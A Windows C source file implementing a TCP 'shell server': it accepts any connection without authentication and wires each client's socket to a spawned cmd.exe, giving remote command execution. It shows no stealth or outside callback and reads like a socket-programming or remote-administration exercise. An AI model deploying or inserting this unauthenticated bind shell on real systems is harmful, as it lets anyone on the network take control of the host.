#include "server.h" #define BUFSIZE 4096 #define DEFAULT_BUFLEN 512 typedef struct PipeThreadInfo_t { HANDLE Pipe; SOCKET ClientSocket; } PipeThreadInfo; HANDLE CreateChildProcess(HANDLE g_hChildStd_IN_Rd, HANDLE g_hChildStd_OUT_Wr); DWORD WINAPI WorkWithClient(LPVOID lpParam); DWORD WINAPI WriteToPipe(LPVOID lpParam); DWORD WINAPI ReadFromPipe(LPVOID lpParam); void StartShellServer() { printf("\n->Start of shell server execution.\n"); WSADATA wsaData; struct addrinfo* result = NULL, * ptr = NULL, hints; int iResult; SOCKET ClientSocket = INVALID_SOCKET; SOCKET ListenSocket = INVALID_SOCKET; /* * Initialize listening socket */ // Initialize Winsock iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); if (iResult != 0) { printf("WSAStartup failed: %d\n", iResult); return 1; } // Creating socket ZeroMemory(&hints, sizeof(hints)); hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; hints.ai_flags = AI_PASSIVE; // Resolve the local address and port to be used by the server iResult = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result); if (iResult != 0) { printf("getaddrinfo failed: %d\n", iResult); WSACleanup(); return 1; } ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol); if (ListenSocket == INVALID_SOCKET) { printf("Error at socket(): %ld\n", WSAGetLastError()); freeaddrinfo(result); WSACleanup(); return 1; } // Binding socket // Setup the TCP listening socket iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen); if (iResult == SOCKET_ERROR) { printf("bind failed with error: %d\n", WSAGetLastError()); freeaddrinfo(result); closesocket(ListenSocket); WSACleanup(); return 1; } // No longer needed freeaddrinfo(result); // Listening socket if (listen(ListenSocket, SOMAXCONN) == SOCKET_ERROR) { printf("Listen failed with error: %ld\n", WSAGetLastError()); closesocket(ListenSocket); WSACleanup(); return 1; } /* * Process client connection */ for (;;) { // Accepting a client connection ClientSocket = INVALID_SOCKET; ClientSocket = accept(ListenSocket, NULL, NULL); if (ClientSocket == INVALID_SOCKET) { printf("accept failed: %d\n", WSAGetLastError()); //break; } printf("Client connected\n"); // Create separate thread to process client connection CreateThread(NULL, 0, WorkWithClient, ClientSocket, 0, NULL); } /* * Finalization */ closesocket(ListenSocket); WSACleanup(); } DWORD WINAPI WorkWithClient(LPVOID lpParam) { /* * Client variables */ // Pipe handles for child STDIN/STDOUT HANDLE g_hChildStd_IN_Rd = NULL; HANDLE g_hChildStd_IN_Wr = NULL; HANDLE g_hChildStd_OUT_Rd = NULL; HANDLE g_hChildStd_OUT_Wr = NULL; SECURITY_ATTRIBUTES saAttr; HANDLE PipeThreads[3]; SOCKET ClientSocket = (SOCKET)lpParam; /* * Initialize pipes */ // Set the bInheritHandle flag so pipe handles are inherited. saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; // Create a pipe for the child process's STDOUT. if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0)) { printf("StdoutRd CreatePipe\n"); return 1; } // Ensure the read handle to the pipe for STDOUT is not inherited. if (!SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0)) { printf("Stdout SetHandleInformation\n"); return 1; } // Create a pipe for the child process's STDIN. if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) { printf("Stdin CreatePipe\n"); return 1; } // Ensure the write handle to the pipe for STDIN is not inherited. if (!SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0)) { printf("Stdin SetHandleInformation\n"); return 1; } /* * Create child process cmd.exe */ PipeThreads[0] = CreateChildProcess(g_hChildStd_IN_Rd, g_hChildStd_OUT_Wr); if (!PipeThreads[0]) { printf("Failed to create child process\n"); return 1; } // Create threads for STDIN/STDOUT PipeThreadInfo WriteThreadInfo = { g_hChildStd_IN_Wr, ClientSocket }; PipeThreadInfo ReadThreadInfo = { g_hChildStd_OUT_Rd, ClientSocket }; PipeThreads[1] = CreateThread(NULL, 0, WriteToPipe, &WriteThreadInfo, 0, NULL); PipeThreads[2] = CreateThread(NULL, 0, ReadFromPipe, &ReadThreadInfo, 0, NULL); if (!(PipeThreads[1] && PipeThreads[2])) { printf("Failed to create pipe threads\n"); return 1; } WaitForMultipleObjects(3, PipeThreads, FALSE, INFINITE); for (int i = 1; i < 3; TerminateThread(PipeThreads[i++], 0)); TerminateProcess(PipeThreads[0], 0); for (int i = 0; i < 3; CloseHandle(PipeThreads[i++])); closesocket(ClientSocket); printf("\n->Client disconnected.\n"); } HANDLE CreateChildProcess(HANDLE g_hChildStd_IN_Rd, HANDLE g_hChildStd_OUT_Wr) // Create a child process that uses the previously created pipes for STDIN and STDOUT. { TCHAR szCmdline[] = TEXT("C:\\Windows\\System32\\cmd.exe"); PROCESS_INFORMATION piProcInfo; STARTUPINFO siStartInfo; BOOL bSuccess = FALSE; // Set up members of the PROCESS_INFORMATION structure. ZeroMemory(&piProcInfo, sizeof(PROCESS_INFORMATION)); // Set up members of the STARTUPINFO structure. // This structure specifies the STDIN and STDOUT handles for redirection. ZeroMemory(&siStartInfo, sizeof(STARTUPINFO)); siStartInfo.cb = sizeof(STARTUPINFO); siStartInfo.hStdError = g_hChildStd_OUT_Wr; siStartInfo.hStdOutput = g_hChildStd_OUT_Wr; siStartInfo.hStdInput = g_hChildStd_IN_Rd; siStartInfo.dwFlags |= STARTF_USESTDHANDLES; // Create the child process. bSuccess = CreateProcess(NULL, szCmdline, // command line NULL, // process security attributes NULL, // primary thread security attributes TRUE, // handles are inherited 0, // creation flags NULL, // use parent's environment NULL, // use parent's current directory &siStartInfo, // STARTUPINFO pointer &piProcInfo); // receives PROCESS_INFORMATION // If an error occurs, exit the application. if (!bSuccess) { printf("CreateProcess\n"); return 0; } else { // Close handles to the child process and its primary thread. // Some applications might keep these handles to monitor the status // of the child process, for example. //CloseHandle(piProcInfo.hProcess); CloseHandle(piProcInfo.hThread); // Close handles to the stdin and stdout pipes no longer needed by the child process. // If they are not explicitly closed, there is no way to recognize that the child process has ended. CloseHandle(g_hChildStd_OUT_Wr); CloseHandle(g_hChildStd_IN_Rd); } return piProcInfo.hProcess; } DWORD WINAPI WriteToPipe(LPVOID lpParam) { DWORD dwRead, dwWritten; BOOL bSuccess = FALSE; int i = 0; SOCKET ClientSocket = ((PipeThreadInfo*)lpParam)->ClientSocket; HANDLE g_hChildStd_IN_Wr = ((PipeThreadInfo*)lpParam)->Pipe; char recvbuf[DEFAULT_BUFLEN]; int iResult, iSendResult; int recvbuflen = DEFAULT_BUFLEN; // Change codepage to UTF-8 //CHAR chcpCommand[] = "chcp 65001\n"; //bSuccess = WriteFile(g_hChildStd_IN_Wr, chcpCommand, strlen(chcpCommand), &dwWritten, NULL); //if (!bSuccess) goto WriteToPipe_end; do { iResult = recv(ClientSocket, recvbuf, recvbuflen, 0); if (iResult > 0) { bSuccess = WriteFile(g_hChildStd_IN_Wr, recvbuf, iResult, &dwWritten, NULL); if (!bSuccess) break; } else if (iResult == 0) printf("Connection closing...\n"); else { printf("recv failed: %d\n", WSAGetLastError()); closesocket(ClientSocket); return 1; } } while (iResult > 0); WriteToPipe_end: if (!CloseHandle(g_hChildStd_IN_Wr)) { printf("StdInWr CloseHandle\n"); return 1; } } DWORD WINAPI ReadFromPipe(LPVOID lpParam) { DWORD dwRead; CHAR chBuf[BUFSIZE + 1]; BOOL bSuccess = FALSE; SOCKET ClientSocket = ((PipeThreadInfo*)lpParam)->ClientSocket; HANDLE g_hChildStd_OUT_Rd = ((PipeThreadInfo*)lpParam)->Pipe; int iSendResult; for (;;) { bSuccess = ReadFile(g_hChildStd_OUT_Rd, chBuf, BUFSIZE, &dwRead, NULL); if (!bSuccess || dwRead == 0) break; chBuf[dwRead] = '\0'; iSendResult = send(ClientSocket, chBuf, dwRead, 0); if (iSendResult == SOCKET_ERROR) { printf("send failed: %d\n", WSAGetLastError()); closesocket(ClientSocket); return 1; } if (!bSuccess) break; } }